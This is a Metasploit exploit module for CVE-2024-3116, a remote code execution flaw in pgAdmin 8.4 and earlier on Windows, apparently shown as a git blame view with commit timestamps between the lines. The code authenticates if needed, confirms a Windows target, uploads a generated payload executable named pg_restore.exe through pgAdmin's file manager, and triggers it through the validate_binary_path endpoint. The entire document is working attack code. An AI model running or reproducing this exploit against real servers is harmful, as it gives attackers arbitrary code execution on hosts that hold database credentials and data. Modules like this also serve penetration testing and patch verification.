2024-08-26 19:27:20 +02:00
|
|
|
##
|
|
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2024-08-26 23:02:53 +02:00
|
|
|
Rank = ExcellentRanking
|
2024-08-26 19:27:20 +02:00
|
|
|
|
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2024-08-26 23:02:53 +02:00
|
|
|
include Msf::Exploit::FileDropper
|
|
|
|
|
include Msf::Exploit::EXE
|
2025-04-11 15:55:46 -07:00
|
|
|
include Msf::Exploit::PgAdmin
|
2024-08-26 19:27:20 +02:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'pgAdmin Binary Path API RCE',
|
|
|
|
|
'Description' => %q{
|
2024-08-26 23:02:53 +02:00
|
|
|
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE)
|
|
|
|
|
vulnerability through the validate binary path API. This vulnerability
|
|
|
|
|
allows attackers to execute arbitrary code on the server hosting PGAdmin,
|
|
|
|
|
posing a severe risk to the database management system's integrity and the security of the underlying data.
|
2024-08-26 19:27:20 +02:00
|
|
|
|
2024-08-26 23:02:53 +02:00
|
|
|
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated.
|
2024-08-26 19:27:20 +02:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
|
|
|
|
'M.Selim Karahan', # metasploit module
|
2024-08-26 23:02:53 +02:00
|
|
|
'Mustafa Mutlu', # lab prep. and QA
|
2024-08-26 19:27:20 +02:00
|
|
|
'Ayoub Mokhtar' # vulnerability discovery and write up
|
|
|
|
|
],
|
|
|
|
|
'References' => [
|
|
|
|
|
[ 'CVE', '2024-3116'],
|
|
|
|
|
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'],
|
|
|
|
|
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116']
|
|
|
|
|
],
|
|
|
|
|
'Platform' => ['windows'],
|
|
|
|
|
'Arch' => ARCH_X64,
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[ 'Automatic Target', {}]
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => '2024-03-28',
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [ CRASH_SAFE, ],
|
2024-08-28 18:20:20 +02:00
|
|
|
'Reliability' => [ REPEATABLE_SESSION, ],
|
|
|
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
|
2024-08-26 19:27:20 +02:00
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2024-08-26 23:02:53 +02:00
|
|
|
Opt::RPORT(8000),
|
|
|
|
|
OptString.new('USERNAME', [ false, 'User to login with', '']),
|
|
|
|
|
OptString.new('PASSWORD', [ false, 'Password to login with', '']),
|
|
|
|
|
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/'])
|
2024-08-26 19:27:20 +02:00
|
|
|
]
|
|
|
|
|
)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check
|
2025-04-11 15:55:46 -07:00
|
|
|
check_version('8.5')
|
2024-08-26 23:02:53 +02:00
|
|
|
end
|
2024-08-26 19:27:20 +02:00
|
|
|
|
2024-08-28 18:17:36 +02:00
|
|
|
def on_windows?
|
|
|
|
|
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true)
|
2024-08-28 18:20:20 +02:00
|
|
|
if res&.code == 200
|
|
|
|
|
platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first
|
|
|
|
|
return platform == 'win32'
|
2024-08-28 18:17:36 +02:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2024-08-26 19:27:20 +02:00
|
|
|
def exploit
|
2024-08-26 23:02:53 +02:00
|
|
|
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?)
|
2024-08-28 18:33:31 +02:00
|
|
|
fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials')
|
2024-08-26 23:02:53 +02:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
if auth_required?
|
|
|
|
|
res = send_request_cgi({
|
2024-08-28 18:20:20 +02:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'authenticate/login'),
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'vars_post' => {
|
|
|
|
|
'csrf_token' => csrf_token,
|
|
|
|
|
'email' => datastore['USERNAME'],
|
|
|
|
|
'password' => datastore['PASSWORD'],
|
|
|
|
|
'language' => 'en',
|
|
|
|
|
'internal_button' => 'Login'
|
|
|
|
|
}
|
|
|
|
|
})
|
2024-08-26 23:02:53 +02:00
|
|
|
|
|
|
|
|
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')
|
|
|
|
|
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
print_status('Successfully authenticated to pgAdmin')
|
|
|
|
|
end
|
|
|
|
|
|
2024-08-28 18:17:36 +02:00
|
|
|
unless on_windows?
|
|
|
|
|
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!')
|
|
|
|
|
end
|
2024-08-26 23:02:53 +02:00
|
|
|
file_name = 'pg_restore.exe'
|
|
|
|
|
file_manager_upload_and_trigger(file_name, generate_payload_exe)
|
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# file manager code is copied from pgadmin_session_deserialization module
|
|
|
|
|
|
|
|
|
|
def file_manager_init
|
|
|
|
|
res = send_request_cgi({
|
2024-08-28 18:20:20 +02:00
|
|
|
'uri' => normalize_uri(target_uri.path, 'file_manager/init'),
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'ctype' => 'application/json',
|
|
|
|
|
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
|
|
|
|
|
'data' => {
|
|
|
|
|
'dialog_type' => 'storage_dialog',
|
|
|
|
|
'supported_types' => ['sql', 'csv', 'json', '*'],
|
|
|
|
|
'dialog_title' => 'Storage Manager'
|
|
|
|
|
}.to_json
|
|
|
|
|
})
|
2024-08-26 23:02:53 +02:00
|
|
|
|
|
|
|
|
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir'))
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder')
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
return trans_id, home_folder
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def file_manager_upload_and_trigger(file_path, file_contents)
|
|
|
|
|
trans_id, home_folder = file_manager_init
|
|
|
|
|
|
|
|
|
|
form = Rex::MIME::Message.new
|
|
|
|
|
form.add_part(
|
|
|
|
|
file_contents,
|
|
|
|
|
'application/octet-stream',
|
|
|
|
|
'binary',
|
|
|
|
|
"form-data; name=\"newfile\"; filename=\"#{file_path}\""
|
2024-08-26 19:27:20 +02:00
|
|
|
)
|
2024-08-26 23:02:53 +02:00
|
|
|
form.add_part('add', nil, nil, 'form-data; name="mode"')
|
|
|
|
|
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"')
|
|
|
|
|
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')
|
|
|
|
|
|
|
|
|
|
res = send_request_cgi({
|
2024-08-28 18:20:20 +02:00
|
|
|
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'ctype' => "multipart/form-data; boundary=#{form.bound}",
|
|
|
|
|
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
|
|
|
|
|
'data' => form.to_s
|
|
|
|
|
})
|
2024-08-26 23:02:53 +02:00
|
|
|
unless res&.code == 200 && res.get_json_document['success'] == 1
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')
|
|
|
|
|
end
|
2024-08-26 19:27:20 +02:00
|
|
|
|
2024-08-26 23:02:53 +02:00
|
|
|
upload_path = res.get_json_document.dig('data', 'result', 'Name')
|
|
|
|
|
register_file_for_cleanup(upload_path)
|
|
|
|
|
print_status("Payload uploaded to: #{upload_path}")
|
2024-08-26 19:27:20 +02:00
|
|
|
|
|
|
|
|
send_request_cgi({
|
2024-08-28 18:20:20 +02:00
|
|
|
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'),
|
|
|
|
|
'method' => 'POST',
|
|
|
|
|
'keep_cookies' => true,
|
|
|
|
|
'ctype' => 'application/json',
|
|
|
|
|
'headers' => { 'X-pgA-CSRFToken' => csrf_token },
|
|
|
|
|
'data' => {
|
|
|
|
|
'utility_path' => upload_path[0..upload_path.size - 16]
|
|
|
|
|
}.to_json
|
|
|
|
|
})
|
2024-08-26 23:02:53 +02:00
|
|
|
|
|
|
|
|
true
|
2024-08-26 19:27:20 +02:00
|
|
|
end
|
2024-08-26 23:02:53 +02:00
|
|
|
|
2024-08-26 19:27:20 +02:00
|
|
|
end
|